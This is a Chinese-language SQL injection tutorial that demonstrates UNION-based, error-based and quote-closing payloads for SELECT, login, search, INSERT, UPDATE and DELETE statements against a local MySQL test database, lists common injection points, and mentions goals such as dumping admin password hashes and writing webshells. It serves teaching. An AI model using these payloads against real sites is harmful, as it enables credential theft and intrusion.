深入透彻理解 sql注入



0x01 首先,创建测试库,表,准备好测试数据:

建库:

1
2
3
4
C:\>mysql -uroot -p
mysql> create database sqli;
mysql> show databases;
mysql> use sqli;

建表 personal_info(人员信息表),admin(假设为网站管理表,里面存的是网站后台管理员的账号密码):

1
2
3
4
5
6
7
8
9
10
11
12
mysql> create table if not exists `personal_info`(
-> `id` int unsigned not null auto_increment,
-> `name` varchar(50) not null,
-> `age` int not null,
-> `phonenu` varchar(20) not null unique,
-> `email` varchar(20) not null unique,
-> `sex` varchar(20) not null default 'man',
-> `birthday` date not null default '1991-01-01',
-> primary key(`id`),
-> index username_index(`name`),
-> index userpass_index(`phonenu`)
-> )ENGINE=MyISAM DEFAULT CHARSET=utf8 collate utf8_general_ci;

1
2
3
4
5
6
7
8
9
mysql> create table if not exists `admin`(
-> `id` int unsigned not null auto_increment,
-> `username` varchar(50) not null,
-> `passwd` varchar(50) not null,
-> `email` varchar(20) not null unique,
-> primary key(`id`),
-> index username_index(`username`),
-> index userpass_index(`passwd`)
-> )ENGINE=MyISAM DEFAULT CHARSET=utf8 collate utf8_general_ci;

0x02 理解 sql注入产生的根因:
    脚本在接收前台传过来的数据时,没有对该数据进行很好的安全检查就直接丢到数据库中去操作,导致入侵者在前台随正常数据一起提交过来的恶意sql语句也被一并带入数据库中执行[各种子查询,联合查询…],也就是说,注入的本质,只是数据库本身,与后端脚本,系统平台无关

0x03 我们利用 sql注入到底可以干些什么

1
在当前数据库用户权限够的时候,一般为数据库管理员

1
2
3
执行系统命令,但这并不直接就等于’提权’,具体权限的大小还要取决于你服务用户的系统权限
写文件,比如,我们可能会尝试往目标网站目录中写webshell,但能不能写进去,还要看目录具体权限
读文件,尝试读取带有账号密码的各类敏感配置文件,然后再想办法配合其它的漏洞一起利用
1
在当前数据库用户权限一般的时候,比如,只能在指定的库中进行正常的增删改查
1
2
像这种情况,一般我们可能会尝试查出目标网站管理员的账号和密码hash,然后再登到后台传webshell
或者搜集各种能搜集到[有权限]的各类用户密码数据,时刻为后面的字典作准备,以备不时之需

0x04 先理解一些最简单的sql注入漏洞语句原型及闭合方法:

最常见的 select 查询注入:
    关于select 的注入,也可能会是我们在实战中遇到的最多的一种注入语句,实际上在前端涉及增删改的操作一般都非常少,除非像那种论坛程序,对于大多数普通的cms而言,前端用户的大多数操作可能都是在点击链接,然后把对应的参数值传给后端脚本,然后脚本再到数据库中去查,之后再把查询的结果返回给前端页面显示给用户

1
2
3
4
5
标准数字型注入语句:
mysql> select * from personal_info where id=3;
数字型sql注入利用,数字嘛,也不存在什么闭合,直接跟上sql,就可以一下就把网站管理员的账号密码都查出来:
mysql> select * from personal_info where id=-3 union select username,passwd,3,4,5,6,7 from admin;
1
2
3
4
5
标准字符型注入语句:
mysql> select * from personal_info where name='fedora';
字符型sql注入利用,想办法闭合单引号,and后面可随意跟上各种子查询就可以把所有数据遍历出来了
mysql> select * from personal_info where name='fedora' and 12=12 -- -; '
1
2
3
4
5
各种常见的登陆框注入漏洞原型sql语句:
mysql> select * from admin where username='admin' and passwd='abc123';
具体利用方法如下,依然是闭合前面注释后面,在and后面跟上各种子查询,直到把所有想要的数据都遍历出来:
mysql> select * from admin where username='admin' and 12=12 -- - passwd='abc123';
1
2
3
4
5
针对各类搜索框注入的漏洞原型sql语句:
mysql> select * from personal_info where name like '%ka%';
具体利用方法 也非常简单,只需要前后的单引号和通配符都闭合掉即可保证语句的正常执行
mysql> select * from personal_info where name like '%%' and 12=12 -- +%';

insert 注入利用核心:
    因为一些功能需求,在前端可能会有很多需要录入各种用户信息的表单,丢给后端脚本以后,脚本会把传过来的这些数据再插到数据库,例如典型的基于各种形式的个人中心功能,一旦遇到了,都可以随便尝试insert注入,注意,想成功利用insert注入有个必要的前提,就是你一定要知道自己插入的数据在前端的什么地方显示,如果别人只是单单搜集用户信息,然后插到数据库中,并没有在前端页面上显示,即使你知道它存在insert注入也是个鸡肋

1
2
3
4
5
漏洞语句原型:
mysql> insert into personal_info(*) values('injection',123,'123456789011','sqli@inection.org','man','0000-00-00');
利用如下,注意这里的闭合方法,insert前后字段的个数和数据类型务必一致,不然是闭合不了的,具体该怎么确定字段个数呢,其实很简单,你就一位位的字段递增,直到它返回正常为止,然后再在爆出来的字段上查数据就可以了
mysql> insert into personal_info(name,age,phonenu,email,sex,birthday) values('injection',1,2,3,4,5)-- -123,'123456789011','sqli@inection.org','man','0000-00-00');

update 注入利用核心:
    关于update利用的点有两个,一个是在set的时候,如果set的是一个从前端传过来的变量,结果可想而知,另一个则是where后面的条件,因为这个条件也是可以从前端传过来的,这个后果想必就应该清楚了,相对于insert可能会比较麻烦的一点的是,update一般都是在set一个新值,这也就意味着我们在闭合的时候,在前端很可能是没有任何回显的,这样的话我们在实际查询数据的时候可能就要费点儿劲了,具体利用过程如下

1
2
3
4
5
漏洞原型语句:
mysql> update personal_info set email = 'flow@yeah.net' where name='fedora';
漏洞利用语句,其实,这里是利用mysql自身的报错特性来查数据的,但大多数情况下,稍微有点儿尝试的目标站一般都会接收页面错误,这时你依然可以利用盲注的来查数据,方法大同小异
mysql> update personal_info set email=''*(select 1 from(select count(*),concat((select (select (select concat(0x7e,database(),0x7e))) from information_schema.tables limit 0,1),floor(rand(0)*2))x from information_schema.tables group by x)a)* '' where name='fedora';

关于对delete注入的利用:
    对于delete语句,我们唯一能控制的地方可能就只有where后面的条件了,清晰明白这一点之后,剩下的事情就很好办了,说实话,在现在的web程序里,在前台涉及到delete的操作非常少,可以说几乎是没有,不过有时还是可以在后台尝试下,尤其在权限特别高的时候,至于怎么利用它来查数据,跟update差不太多,基本也是靠报错或者盲注来搞,具体利用过程如下

1
2
3
4
5
漏洞原型sql语句:
mysql> delete from personal_info where id='fedora';
针对性注入利用,这个闭合其实跟select的时候差不多,无非就是数字或者字符串,数字就不存在什么闭合了,如果是字符串,注意闭合掉前后的单引号即可
mysql> delete from personal_info where id='fedora' or (select 1 from (select count(*),Concat((select database()),0x3a,floor(rand(0)*2))y from information_schema.tables group by y)x) -- +';

0x05 在对sql注入有了基本的了解之后,再来详细看看到底哪些地方容易出现sql注入,实战知道从哪儿入手

1
2
3
4
5
6
7
8
get请求的url,正常情况下这里应该是最先会尝试的地方
post数据字段中,数据较多时一般都会用post传,会是个不错的入手点
cookie中传的数据,有些还可能会把一些参数放在cookie中传,所以这儿也会是个不错的入手点
Referer本身用来记录上一个页面的url,但一旦被存到数据库中之后又被带入查询,你懂的
User-agent 本身用来记录客户端信息,只要被记录到数据库之后又被带入查询一样可被利用
X-Forwarded-For 本身专门用来记录客户端真实ip,如果脚本在处理时把它也带到数据库中去查询...
宽字节[双字节], 主要是由于前后端编码不统一造成理解歧义
只要是你发现会和后端数据库交互的地方全都可以随便尝试,并不仅限于我上面提到的这些...

0x06 最后,再来简单看下几种主流关系数据库的报错信息都大概是个什么样子,先混个脸熟,后面会再详细说

1
2
Mysql:
ERROR 1064 (42000): You have an error in your SQL syntax;

1
2
3
Mssql:
Server Error in '/sportpavilion' Application.
Unclosed quotation mark after the character string ''.
1
2
Oracle:
[Oracle][ODBC][Ora]ORA-01756:
1
2
Postgresql:
Warning: pg_query() [function.pg-query]: Query failed: ERROR: syntax error at or near "\" at character 53
1
2
Sqlite3:
Error: HY000

0x07 下一阶段准备
    关于sql注入的基础科普就先简单到这里了,接下来,会再专门针对每种数据库具体的手工注入方法及注意事项做更详细的说明,待续…